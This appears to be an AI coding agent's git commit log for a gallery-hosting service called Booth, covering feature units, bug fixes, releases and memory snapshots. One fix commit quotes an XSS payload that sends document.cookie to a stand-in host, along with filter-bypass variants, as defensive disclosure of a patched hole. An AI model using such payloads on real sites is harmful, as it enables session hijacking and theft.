Commit Graph
23 Commits
Author SHA1 Message Date
vh 47b39bca53 memory: snapshot for context clear — waiting on design-dev's r3 contract 2026-09-24 08:27:31 -07:00
vh 37d859c0fd memory: snapshot for context clear — the arc mid-flight, and the one thing that blocks
In-flight rewritten to what is actually live: design-dev's blur merge is HELD
at 5ded5ff awaiting his explicit 'merge it' ping (both panels dispatched 17:53,
unfolded), the redesign and thumbnails and dates are shipped, and the browser
suite is flaky under load and NOT fixed.

Two detail files added. The dates one is the reusable lesson: three plausible
proxies for a creation date were considered and one was nearly built, and the
real answer was a syscall away — the system already recorded what looked
unavailable. One of the rejected proxies was write-on-read, a shape this repo
had finished paying for hours earlier.

The flake entry is written as OPEN with its limits stated: three tests, two
real defects fixed, neither proven causal, and n=3 cannot show an improvement.

Recent decisions and Tried and abandoned preserved intact (49->51 by addition,
7 unchanged); the index is back under the soft cap at 141 lines from 285, all
of the reduction from settled history leaving the volatile section.
2026-09-23 17:56:50 -07:00
vh 70bfff15cf memory: the cache that aged the thing it cached
Two lessons from the thumbnail work, the second of which nearly shipped.

We parked progressive loading on a count of images and the cost was in bytes.
'Measure the real booth before optimising it' was followed and still gave the
wrong answer, because we measured the dimension that was easy to measure rather
than the one the user feels.

And a cache living inside the thing it describes can age that thing. Excluding
every path under the cache dir passed its own test and was still wrong: creating
the directory touches the BOOTH's own mtime, which is what _newest_mtime seeds
from. The contents were excluded; the existence was the leak. Had it reached the
Desk, one index load would have pushed every booth's expiry out and the TTL
would never have fired again.
2026-09-23 10:58:21 -07:00
vh 447a9b67e9 fix(links): the board rendered agent-written javascript: hrefs
A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so

    javascript:document.location='http://evil.test/'+document.cookie

was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.

links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.

THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.

Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.

Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.
2026-09-23 10:34:22 -07:00
vh 2511aab3d6 memory: a third way an instrument goes blind — nth-child vs nth-of-type
Credited to design-dev. His R2 order check has a positive control — one tile
given order:-1 that the check must catch — and the control went blind when group
headers became grid children: nth-child(5) started landing on a header rather
than the fifth tile.

Same class as the two defects already in this file. A control that no longer
controls reads exactly like a passing test; nothing in the output distinguishes
'detected nothing because there was nothing' from 'detected nothing because I am
aimed at the wrong element'.

The rule: nth-of-type over nth-child wherever the assertion means the Nth TILE
rather than the Nth child element. They agree until somebody adds a sibling of a
different kind, and adding siblings is what a redesign is.
2026-09-23 09:14:32 -07:00
vh b46ac02be2 docs: the four flow rulings, compare unparked, and the beta premise superseded
All four ruled, all four taking design-dev's recommendation, relayed via Miranda
with booth-dev as sole relay. Verbatim copy committed at docs/rulings/ because
the booth holding it will sweep.

Which is the observation worth keeping: answering a pick removes the hold that
was protecting the record. A booth is held while its question is OPEN, so its
lifetime is shortest exactly when it has just become valuable — before the
answer it is a question, after it is the record of a decision, and only the
first state is protected. Both design booths hit this by different routes, one
withdrawn and one answered. Raised to design-dev as a flow question rather than
patched, since flow is his now.

Compare mode leaves the parking lot: our deferral, his overrule, recorded as his
call so nobody re-parks it by reading the older rule.

And v1.0.0b1's 'no new features' promise no longer describes the arc. The tag
stays as written — rewriting a released tag to flatter the present is how a
version stops being evidence — an alpha drop-back is illegal because 1.0.0a2
sorts below 1.0.0b1, and no further pre-release is cut until the arc lands.
2026-09-23 08:12:05 -07:00
vh 1826d19a1f memory: the bug-hunt panel, the raw-first fragment trap, and five vacuous falsifiers
The mechanic worth keeping: browsers match a URL fragment against element ids
RAW first and percent-decoded only second, so a raw rel on both the anchor and
the id is ambiguous rather than merely unencoded — and encoding one side only
relocates the collision.

The count worth keeping: five falsifiers in one unit were green under the exact
change they forbade, three arms finding the same one independently. A
guard-strength pass is the highest-value part of a panel on a diff that is
already well tested, because the findings sit in the gaps the comments are most
confident about.
2026-09-23 00:06:26 -07:00
vh 82ac7c44e4 docs: design-dev accepted the SVOS retrofit — the /vor-ui brief is declined, and why
The ROADMAP row requiring a /vor-ui brief predates the IA doc. With that doc,
the landed templates and the seven handoff constraints, a /vor-ui pass would
have cost the operator a serial Q&A to re-derive IA already measured. design-dev
made that argument and it is better than the row it overrides.

Also settles: we merge and restart; he works against a copy, never :8090; the
concept round goes to the operator; webfonts by CDN link with display=swap,
because the CDN-free property turned out to be accreted rather than an
invariant (checked CLAUDE.md, the non-goals and the IA doc).

Corrects a memory defect in the same commit: a postbox send note is a
point-in-time snapshot and one was promoted into persistent memory as a durable
fact about a handle's delivery mode. It was wrong within the hour.
2026-09-22 21:51:35 -07:00
vh 8a18dd13ab memory: snapshot — v1.0.0b1 cut, the version that was two copies, and the design-dev handoff 2026-09-22 21:41:56 -07:00
vh bf351a26d1 feat(u7): filename groups — the last v1 unit, and a table that did not reproduce
Completes U7 with its fourth component: a jump-to-group rail derived from
filename prefixes, replacing the subfolder sections ROADMAP named. The scope
departure was ratified by the operator 2026-09-22; this commit deletes
test_no_group_rail_is_shipped_yet, the guard that held it back, in the same
change that builds what it guarded against.

All seven v1 capabilities are now landed. The 1.0 cut is a decision, not a
dependency, and it is the operator's — no version bump here, because a commit
is not a release.

THE RULE CHANGED AT IMPLEMENTATION, ON MEASURED GROUNDS. The contract specified
`strip ONE trailing run of digits`; run against the live set that yields 24
groups for sindra-bakeoff's 40 images and 27 for sindra's 30 — a rail with a row
per tile — because it keys on the END of the stem, where the instance number
lives. The contract's own table claimed 5 and 1 for those two booths and neither
reproduces; the numbers are reachable only by two OTHER heuristics, so the table
that justified the design was assembled from more than one rule. Its own worked
example contradicts it in plain sight.

The shipped rule keys on the first separator-delimited segment, where the family
lives, destemming only when the stem has no separator at all — so `ac01` -> `ac`
while `v30-seed8302` and `v35-seed8302` stay apart. Re-measured across all 17
live booths; the table is in the contract.

INV-3 GAINED ITS SECOND DEGENERACY. The contract guarded one group for
everything (sc-iso-spread: DSC0001-DSC0006). The live set's actual failure is
the opposite — pewpew-ui-brief yields 23 groups for 34 items, dfa-concepts 13
for 20 — and the contract as written would have shipped a rail that is a second
copy of the grid. The rail now renders only when grouping is informative: two or
more groups, and the middle group holding more than one item. That predicate
gets all 17 booths right.

Grouping is a VIEW. The grid stays sorted(rel) and the zoom ring stays that
order filtered to images; the group fixture interleaves across subdirectories
precisely so a (group, rel) re-sort goes red. Groups are derived from the
RENDERED list, not the full gallery, so no anchor points at a filtered-out tile.

booth/items.py       _group_of + Item.group, derived in the resolver (INV-1)
booth/app.py         _groups() builds the rail rows; build_gallery carries it
booth/templates/     the rail-groups nav and its CSS
tests/               +16 tests; 639 green

Every new falsifier was proved by running its defeating change (12/12). Three
were vacuous first time out: one fixture's positional order happened to be
alphabetical, one assertion miscounted elements, and the harness itself
certified a broken test twice — no green baseline, and byte-identical mutations
silently defeated by the pyc cache's one-second mtime granularity.
2026-09-22 21:33:54 -07:00
vh 6938d21085 memory: the operator ruled on all five — U7's departure approved, main pushed
"accept all recs, or make good ones." Four of five executed.

APPROVED: drop subfolder sections for filename-prefix groups. The U7 contract
moves to APPROVED and ROADMAP's U7 row and deterministic-order table are
rewritten -- groups order by the position of their first member in sorted(rel).

SETTLED: `unanswered` means has-an-open-pick, the reading that shipped. The
has-no-mark-at-all reading is a different question and is parked to v1.1 rather
than left pending.

PUSHED: main and both release tags reached origin -- the first time this repo's
U6 work has existed anywhere but this box. Recorded because --follow-tags
carried neither tag: both are LIGHTWEIGHT per the SemVer policy and that flag
only follows annotated ones, so a lightweight release tag needs its own push.

NOT SENT: the 17-handle note was blocked by the auto-mode classifier because a
multi-recipient send is gated on explicit operator approval. The blanket ruling
ratifies the note's content, not that specific approval, and the gate held
correctly. Drafted in full with its recipient list at
docs/pending/fleet-note-booth-link-refusal.md so it survives a context clear.
Not worked around.

NOT SEEDED: "no seeding yet" was a specific prior instruction rather than a
recommendation of this session's, so the blanket acceptance does not overwrite
it.

⚠ The approval leaves a trap: test_no_group_rail_is_shipped_yet exists to stop
an UNAPPROVED group rail, and the rail is now approved. It has inverted and
must be deleted by whoever builds the rail, or it blocks correct work while
reading like a real invariant. Named in the handoff's first step for that
reason.
2026-09-22 19:49:39 -07:00
vh 8bf5343049 memory: snapshot — U7 three-quarters built, blocked on one ruling
U6 shipped as v0.6.0 and a late fix as v0.6.1; U7's three ratified components
(rail, filters, grid keyboard) are landed and the fourth is deliberately not,
because swapping subfolder sections for filename-derived groups is a scope
departure the operator has not ruled on. A test fails if anyone builds it
anyway.

Two new detail files. One decomposes U7 by ratified-versus-not and records the
two decisions taken under stated assumption. The other keeps the mechanism
behind today's misrouted directive: pane_find addresses seats by a ROLLING PANE
TITLE, which is not a stable address, and the failure is silent from the
sender's side -- Miranda had no signal until infra-ops flagged it. The incident
resolved; the mechanism did not.

The generated handoff committed the modality failure its own step-7 read exists
to catch: it listed push, seed and the 17-handle note as imperative Next steps
when all three are explicitly gated. Rewritten as do-nots, Next steps emptied.
Recorded here because it is the second time the generator has needed that
backstop.
2026-09-22 17:38:40 -07:00
vh e15ee2c4ab memory: U7 re-measured before scoping — pre-work only, no unit started
The standing instruction is to re-count the booths before scoping U7. Done
against the live 19-booth set, so the scope call is a short read rather than an
investigation.

Two findings. Sections are worth zero and it is now measured twice: not one of
the eleven gallery booths has a subdirectory, and the only two booths that do
are both reports, the job where grid navigation matters least. And the grouping
signal is in the filename rather than the tree -- stripping a trailing digit-run
yields 5 to 16 sensible groups on four of the five large galleries and
degenerates to one group on the fifth, while the competing split-on-second-
hyphen heuristic is useless everywhere.

The sizing case has also moved: the unit was scoped against 270-item booths and
the largest gallery is now 81 items / 40 images.

No U7 code and no U7 contract. The scope direction is the operator's call.
2026-09-22 14:38:26 -07:00
vh e702be4e1a fix: a wrong-shaped answer no longer 500s the gallery and the marks page
Pre-existing, measured at 42ea67f, so it predates U3. `_hydrate` checked only
that `answer` was a dict and never that `answer["answers"]` was one, so
`marks_for` and `hold_read` both reported the mark healthy with no read error
-- and `_ask_inline.html` then asked a list for `.get`. The v0.2.2 lesson was
half-implemented: that outage was a file that could not be PARSED and the
reader was made lenient, while this one parses perfectly and breaks one layer
further in, at render, where no leniency existed.

Closed at the hydration boundary rather than by a third copy of the guard --
one predicate, one place, every surface inherits it. Only the multi case is
checked, because only the multi case indexes; requiring `answers`
unconditionally would break every single-question pick, and that direction has
its own test. Measured before and after: gallery and marks pages 500 -> 200,
the error visible on the page, the booth's other healthy pick untouched.

The placement was the one open operator question of the session. It was
surfaced three times without a ruling, so it is taken under a stated assumption
and is cheap to move: the whole fix is one condition in one function.

Two things fell out of it worth more than the fix.

`_safe_fragments` no longer has a reachable natural trigger. Probed every wrong
answer shape a .marks.json can carry: `answers` as a list, a string or null all
become hydration errors now, and a wrong-typed value INSIDE `answers` renders
without raising, because Jinja absorbs attribute access on a non-mapping. U3's
guard is a pure backstop, and its test now says so and trips it synthetically
through the shared macro module rather than asserting a path nothing reaches.
A guard tested by an unreachable input is an untested guard.

And that guard's handler could not survive the failure it was handling: it
caught a raising `_pick_fragments` and rebuilt the broken-ask box through the
SAME macro module that had just raised, so whenever `whole` was the broken
thing it re-raised and took the whole report. Found by accident while building
the falsifier. Fixed, with its own test.

Both new falsifiers were verified RED against their defeating change rather
than assumed.

607 -> 611 tests.
2026-09-22 14:34:28 -07:00
vh c5ac49356f memory: snapshot — U6 released at v0.6.0, six of seven v1 units landed
Nothing in flight. The in-flight section is rewritten to the post-release
state and carries the five things a fresh session must not do: push (main is 8
ahead of origin/main), seed the registry, send the 17-handle note, run either
dated prediction early, or start U7 without re-counting the booths first.

Two new detail files: the release itself, and what each of the five review
passes could only see alone -- the strongest evidence this repo has for running
all of them rather than picking one. The earlier U6 entry is reconciled; it was
written while the gates were still out and said NOT TAGGED.

Restored in the rewrite: the warning that the 17 handles were never told `keep`
stopped meaning "waiting on an answer", which is load-bearing for how the
2026-10-06 re-count reads, and the fact that a remote now exists.
2026-09-22 14:24:12 -07:00
vh 1c3ce5ddb5 feat(u6): benches — a registry with identity, and the rule enforced
The standing link board carried three jobs because only one of them had a
surface. Re-measured before contracting, its 221 rows split into 178 booth
announcements (156 already dead) and 43 non-booth rows, of which 8 are the same
bench re-posted. U5 gave the booth announcement a home; this gives the running
service one, and refuses the one shape that now has somewhere better to go.

- booth/benches.py (new, stdlib-only and sibling-free): the Bench record, URL
  normalization as the identity, a lenient read on the render path and a strict
  read on the write path, atomic replace under an flock, and a stated total
  order (state rank, name casefolded, id).
- links.booth_target: ONE predicate for "is this a booth URL", consumed by the
  CLI refusal, the board's dead marker and bench import. Host-agnostic,
  path-shaped, percent-decoded, never raises.
- booth link refuses a booth URL, names `booth new --why`, and writes nothing —
  not the row, not the board directory, not the announcement.
- The board marks rows whose booth has been swept. Nothing here deletes a row:
  removal stays the operator's two clicks through the existing bulk control.
- booth bench add|ls|state|rm|import. import writes nothing without --apply and
  never edits links.md.
- docs/archive/links-2026-09-22.md: the board archived verbatim into git.

Identity is the FULL normalized URL, not the origin, and that was measured:
origin identity collapses the 43 non-booth rows to 19 groups by merging eight
distinct gitea repositories into one row, three unrelated HuggingFace model
cards into one, and the two LRPG surfaces on 10.100.10.50:8321 — the design
doc's own example of two real benches — into one. Full-URL identity still
collapses both cases that doc names: talk 5 to 1, Peedlar 3 to 1.

booth link is NOT deprecated. Roughly 14 of the 35 distinct non-booth targets
are reference bookmarks for which the board is the right and only home; the
design doc's plan to deprecate it would have evicted a third of its live
content. Corrected there, along with what "normalized URL" means.

The seam review found three real defects in the contract before any code: the
claim that test_stdlib_only already forbids sibling imports (it exempts `booth`
on purpose), naming resolve_booth as the dead marker's existence check (it
raises HTTPException(404), so one swept booth would have 404'd the whole board
page), and silence on percent-encoding (booth links are emitted through
quote(name, safe=""), so a raw comparison marks every encoded booth dead
forever). That both list_booths and sweep_once skip the registry was verified
against the real functions rather than assumed.

444 -> 555 tests. Deployed and verified live: 23/23 booths 200, and the board
renders 156 dead of 221 rows, matching an independent pre-implementation count.

NOT TAGGED: both cold gates are in flight (contract review
01M35BWCJ806MT75NA630Y4WFH, code review 01M35CK8YKEKMV7T15JXEF6A8N) and the
bug-hunt has not run. Per the v0.2.0 lesson, the tag waits for the gates.
2026-09-22 13:25:32 -07:00
vh 5c20e2f4d5 fix(u3): seven defects two cold panels found in the declared seam
The /heid-code-review and /heid-bug-hunt panels, artifact-only over the U3
diff, between them found four real defects and three vacuous falsifiers. Both
snapshots predate the contract-review fixes, so two of their findings were
already closed; the rest are here.

Prototype pollution in the placement maps. A mark id and a question key are
both [A-Za-z0-9][A-Za-z0-9._-]*, so `toString` and `constructor` are legal in
each. Against a plain `{}` an anchor naming NO mark returned an inherited
function, passed the guard meant to reject it, and threw on .questions.length
-- aborting placement before the tail, so one typo in author markup cost the
page every ask. The `placed` set had the mirror bug: inherited
`got.constructor` read as already-placed and silently dropped a question.
Object.create(null), three times. Found independently by both panels.

A declaring page was not served as written. read_text() opens in
universal-newline mode, so a CRLF report came back LF, and errors="replace"
replaced every byte that was not valid UTF-8. That is this unit's headline
promise, broken by the read itself, and the test could not see it because its
fixture was LF-only ASCII. The verbatim branch reads and serves bytes now; the
decoded copy answers only "does it declare the seam?".

A submit anchor inside the author's own <form> lost ours -- the parser drops a
nested form element outright -- while the code still recorded the pick as
submitted, so no fallback was appended. Every control's form= pointed at
nothing and the button did nothing. It counts as submitted only if the form
survived.

A broken pick's diagnostic never rendered from a submit-only anchor: an errored
pick's submit block is empty, and mounting that then marking it placed made the
tail skip the "broken ask" box entirely. The anchor is left alone instead.

An author's own element could hijack the open-ask chip -- id="bk-ask-winner-
background" satisfies any prefix rule, hyphen boundary included. The chip now
searches only elements this script mounted, which is the identity the deleted
bk-ask-<id>-top anchor used to guarantee, and takes the earliest by
compareDocumentPosition.

No error boundary around fragment rendering. A .marks.json that is well-formed
JSON with a wrong-shaped answer hydrates with no error and then raises in the
macro; this endpoint renders every pick on every load of the report, so that
was the whole seam gone while hold_read called the file readable. Reproduced
before building for it. _safe_fragments gives it the per-mark leniency
_hydrate_safe already applies one layer down.

The gallery and marks pages still 500 on that same entry. Measured at 42ea67f
-- it predates this unit, they render the same macro with no guard, and the
gallery is named out of scope in the contract. Recorded, not quietly widened:
persistent-memory.d/2026-09-22-a-wrong-shaped-answer-500s-the-gallery.md

Also corrected: several comments claimed a multi-question pick POSTs a 400
unless every question is answered. It does not -- an empty submission is
refused, a partial one is recorded on purpose. The real reason an unplaced
question must still be appended is that a question which never reaches the page
cannot be answered at all.

Vacuity pass rebuilt around the rule this session learned: the mutation comes
from the invariant's claim, never from the falsifier's example. 21 mutations,
21 caught, unmutated control green. Getting there took three rounds -- it
passed INV-3 with the contract's own mutation, then found its own fix's hole,
then flagged seven stale mutations and one genuinely vacuous fixture whose
sibling-mark arrangement made the right answer also the first answer.

444 tests. Deployed and verified: 23/23 booths 200, and all four live verbatim
reports served at exactly +46 bytes -- len(EMBED_SCRIPT_TAG) -- with the
authors' own wrappers and headings intact and no console errors.
2026-09-22 11:22:37 -07:00
vh 87e2c5364c feat(u3): a verbatim report declares the seam, the Booth mounts into it
A booth that ships its own index.html was served through ten regular
expressions applied to markup the Booth did not write: six in
wrap_verbatim_html hunting for somewhere to hang a favicon and a chip, four
in booth/inline.py substituting rendered ask markup into the author's own
tags. Both worked. Both were the most fragile thing in the service, on the
path the operator uses most.

The whole class is replaced by a declared seam. A report carries one line —
<script src="/_booth/embed.js" defer></script> — and the chrome mounts
through DOM APIs. What the server does to author HTML is now, in full:

    return html if declares_embed(html) else html + EMBED_SCRIPT_TAG

Two substring tests and a concatenation. Both of the old wrapper's hard
constraints stop existing rather than being satisfied more carefully:
nothing can displace a leading doctype into quirks mode and nothing can push
the charset meta out of its detection window, because nothing in front of
them ever moves. A page that declares the seam is served exactly as written.

Fragments are still rendered by the _ask_inline.html macros and handed over
GET /b/<name>/embed.json; embed.js places them and decides nothing. Openness
comes from open_marks, order from (created, id), questions in declaration
order. A single-question pick normalizes to key None, so the payload carries
questions as a list rather than an object — keying by name would serialize
that as the string "null".

Placement is an anchor fill, not a replacement: el.insertAdjacentHTML(
'beforeend'), so an author's wrapper and its contents survive. The regex it
replaces was eating the opening tag of dfa-concepts' styled .ask blocks and
orphaning their headings, live, unreported.

data-booth-mark is canonical; data-booth-ask stays a kept alias because two
live reports use it. The comment placeholders are dropped — no users.

Declared cost: the verbatim path now needs JavaScript. The never-invisible
guarantee holds through the index badge and /b/<name>/marks, both of which
render server-side.

Deleted: booth/inline.py entire, wrap_verbatim_html and its six patterns,
_BACK_CHIP, asks_chip, inject_asks, FAVICON_LINK, the styles() macro.

Tests 410 -> 434. tests/test_embed_browser.py drives a real Chromium: the
placement algorithm and the form= binding of a scattered multi-question form
cannot be observed any other way, and that binding was measured rather than
assumed (N=3 per condition, with a form-first positive control and a
points-at-nothing negative control).

Contract: docs/contracts/u3_declared_embed_seam.contract.md, with the
in-session seam review and the cold contract panel both recorded. Two of the
panel's findings were code fixes: a vacuous INV-3 falsifier that a renamed
regex walked straight through, and a bare-substring seam detection that read
a report merely quoting the path as declaring it and silently served it with
no chrome.
2026-09-22 10:43:41 -07:00
vh 8f81d8f9d0 memory: no fleetwide notice for U4, and the measurement caveat it creates
Operator decision 2026-09-22: no broadcast to the 17 consuming handles. Same
posture as U5 — adoption gets told apart from design because nobody was primed.

The consequence is a measurement one and it needed writing down before it was
lost. U4's two halves have different adoption costs: the hold rides for free
(a session runs `booth ask` and its booth is held, knowing nothing), but NOT
pressing `keep` has to be learned. So a flat `.forever` rate on 2026-10-06 is
exactly what 'the mechanism works and nobody was told' looks like, and reading
it as a falsification would retire a correct diagnosis on an uncontrolled
measurement.

Records the three counts to report instead, and states the sensitivity floor:
only 4 of 24 booths carry marks at all, so the hold can touch at most a sixth
of the fleet and an effect below one or two booths is not resolvable.
2026-09-22 10:04:51 -07:00
vh c3a97c1b64 feat(u4): a booth's lifetime is derived from its state, not from a boolean
`.forever` was the only way to say three different things — "this is durable",
"I have not answered yet", "I am still looking" — and the census said it was
carrying all three: 17 of 24 live booths (70%, up from 54% the day before).
Three of the four booths in the fleet awaiting an answer had been pinned by
hand as well, and 10 of the 17 were younger than the TTL, so the sentinel had
bought them nothing and was pressed pre-emptively.

Only the first meaning is what `keep` means. The other two are facts the
service already held and did not consult.

    KEPT       `.forever` present                      never swept  (unchanged)
    HELD       an open pick, or marks we cannot read   never swept  (new)
    EPHEMERAL  everything else                         24h          (unchanged)

Viewing is activity: a deliberately-served response from a booth's own page
route writes `.viewed`, which is a dotfile and not a `.lock` dotfile, so
`_newest_mtime` already counts it. There is no new arithmetic — `booth_age_seconds`,
`is_expired` and `expires_in` are unchanged. Machine reads are excluded on
purpose: an agent must not be able to hold its own booth open by polling for
the answer it is waiting on.

The hold is unbounded, and what makes that safe is visibility plus two exits
that already existed. Every surface whose chrome the Booth owns says
`held until answered` where the countdown was, and `booth rm` / the UI x /
`DELETE /b/<n>` take a held booth exactly as they take a kept one. A hold is
protection from the timer, never from the operator.

Three cross-frontier panels ran and each found a class the others could not:

  * the paraphrase panel found that two reads of one file are not one read of
    one state — the contract's `is_held(marks_for(c), read_error(c))` could
    resolve to `([], None)`, the pair that deletes. `hold_read` is one read.
  * the code-review panel found, 4-of-4, that the booth header's board branch
    rendered no lifetime at all; and that five of seven invariant tests passed
    under the change that defeats them.
  * the bug-hunt panel found four more paths where a failed read still
    authorized a delete, and a `record_view` that followed a planted symlink.

`is_held` became `hold_reason`, which returns the reason rather than a bool
beside a string that can disagree with it.

Prediction, to re-count on or after 2026-10-06: the `.forever` rate falls to
the booths that are genuinely durable references. Only 4 booths carry marks at
all, so this rests on both halves of the unit; a null result cannot distinguish
a wrong diagnosis from a habit that outlived its need.

406 tests (341 before). Contract: docs/contracts/u4_derived_lifetime.contract.md
2026-09-22 09:44:25 -07:00
Vuong Hoang d37b81ab9f memory: snapshot — U5 released at v0.3.0, and the index goes two-tier
The two dated log sections had never been split, so every one of their 29
entries sat inline and the startup index had grown to 372 lines — which is
the cost the two-tier scheme exists to remove, paid on every session that
reads the file. 27 entries were over threshold. All 29 now have a detail
file under persistent-memory.d/ and a one-line index entry that routes
rather than restates. Index: 372 -> 93 lines.

No archival. The soft cap fired, but every entry in this repo is dated
2026-09-21 or later, so the under-14-days guard held all of them back — and
the split alone took the index well under the target without moving
anything out of the active file.

The in-flight section is rewritten for the post-release state: nothing is
in flight, no gate is outstanding, and the next unit is explicitly recorded
as the operator's undecided call rather than as a plan. The session's
recommendation (U4, on three grounds) is written down so it does not have
to be re-derived, alongside the two alternatives and why they are
alternatives.

Two dated predictions are carried forward with their dates and their
instruments: the U5 adoption re-measure on 2026-09-29, which already reads
3 of 24 announced and 2 with a why from peers told nothing, and the
.forever re-count a fortnight AFTER U4 lands, which is U4's own success
criterion and is destroyed by running it early.
2026-09-22 08:20:51 -07:00
Vuong Hoang f3193fb054 fix(probe): the disclosure-opening loop was manufacturing its own findings
`page.locator("details:not([open])").all()` hands back POSITIONAL locators
that re-resolve against the current DOM, and `:not([open])` stops matching
an element the moment it is opened — so opening them one at a time shrinks
the set underneath the indices and leaves some closed. Those then report
OCCLUDED, which is exactly the false-positive class the block was added to
remove. One on booth-redesign, three on cr123a-to-d-sleeve, one on
denoise-first-run, and invisible as a bug because a false positive is
shaped like a finding.

Measured both hypotheses rather than guessing between them: per-element
loop against a single document-wide evaluate, at 150 ms and 1000 ms settle.
The loop reports them at either wait; the single pass reports none at
either. The variable was the method, not the timing.

One evaluate over the whole document now. All three pages clean.

Also carries the ROADMAP U5 row, the two-panel record in
persistent-memory.d/, and the memory index line for it.
2026-09-22 01:39:43 -07:00
Vuong Hoang 026a1fc392 fix(marks): v0.2.2 — nine findings from the cross-frontier bug-hunt panel
`/heid-bug-hunt` on U2's diff, four arms, artifact-only. Eight findings were
real against live code; a ninth was already closed by v0.2.1 and is recorded as
declined. Full triage in persistent-memory.d/2026-09-22-bug-hunt-panel.md.

THE LOCK LIFECYCLE (4/4 convergent, and two defects in one place)

`_Locked.__exit__` unlinked `.marks.lock` on the no-op path so a booth that had
never been marked was left exactly as it was found. `flock` binds to an INODE:
unlinking it under a blocked waiter leaves that waiter holding an exclusive
lock on a deleted file while the next writer creates a fresh lock and takes it
immediately. Two processes then run the read-modify-write concurrently, the
later os.replace drops the earlier one's mark, and both obeyed the protocol.

The cleanup existed to protect the booth's TTL, and was failing at that too:
creating or removing a directory entry bumps the DIRECTORY's mtime, which is
what `_newest_mtime` seeds from. The guard's comment reasons about the lock
file's own mtime and misses that the directory moved underneath it.

One fix: never unlink the lock, exempt `.<name>.lock` dotfiles from
`_newest_mtime`, and restore the directory's mtime after creating one.

THE READ PATH'S BLAST RADIUS

`_clean_text` did `(text or "").replace(...)` and `marks_for` sorts on
`(created, id)`, so a stored `text` that was a dict or a `created` that was a
number raised out of the read path. `list_booths` reads every booth's marks on
every index load, so one hand-edited file returned 500 for `/` and `/healthz`
across all 25 booths. Guarded in two layers — a named type check and a
`_hydrate_safe` backstop that cannot raise — and an unreadable mark now renders
as ⚠ broken rather than as an empty note.

ALSO

- import_legacy_asks stamped `created` at whole-second resolution, so two
  sidecars from the same second lost the ordering the importer had just
  established and re-sorted alphabetically. Microseconds, per the stated
  `(mtime, name)` rule.
- The five mark-write routes ran a blocking flock on the event loop; they now
  dispatch through run_in_threadpool, asserted structurally like INV-1.
- `/answer` 500'd on a non-string `notes` form value where `/note` handled it.
- The inline-doc tile had a flag control and no note field.
- The marks panel was suppressed on any booth carrying a links.md.
- The viewer's arrow keys and Escape threw away a note being typed.

CLI

`booth marks` printed a traceback and exited 0 on a failed read, and `--wait`
emitted a whole JSON document per poll. `booth answer --wait` read a damaged
file as "not yet" and spun the full hour. Both now use real exit codes —
0 ok, 1 unanswered/timed-out, 2 no such pick, 3 unreadable — and `--wait`
prints once. `marks.read_error()` lets the CLI ask what the page must not: the
browser stays lenient, the machine consumer gets the truth.

`scripts/booth` had no tests; it has five now, run against the real script
under the system python3, which also makes them a live check on INV-1.

275 tests (253 before). Live service restarted, 25/25 booth pages verified 200.
2026-09-22 00:20:58 -07:00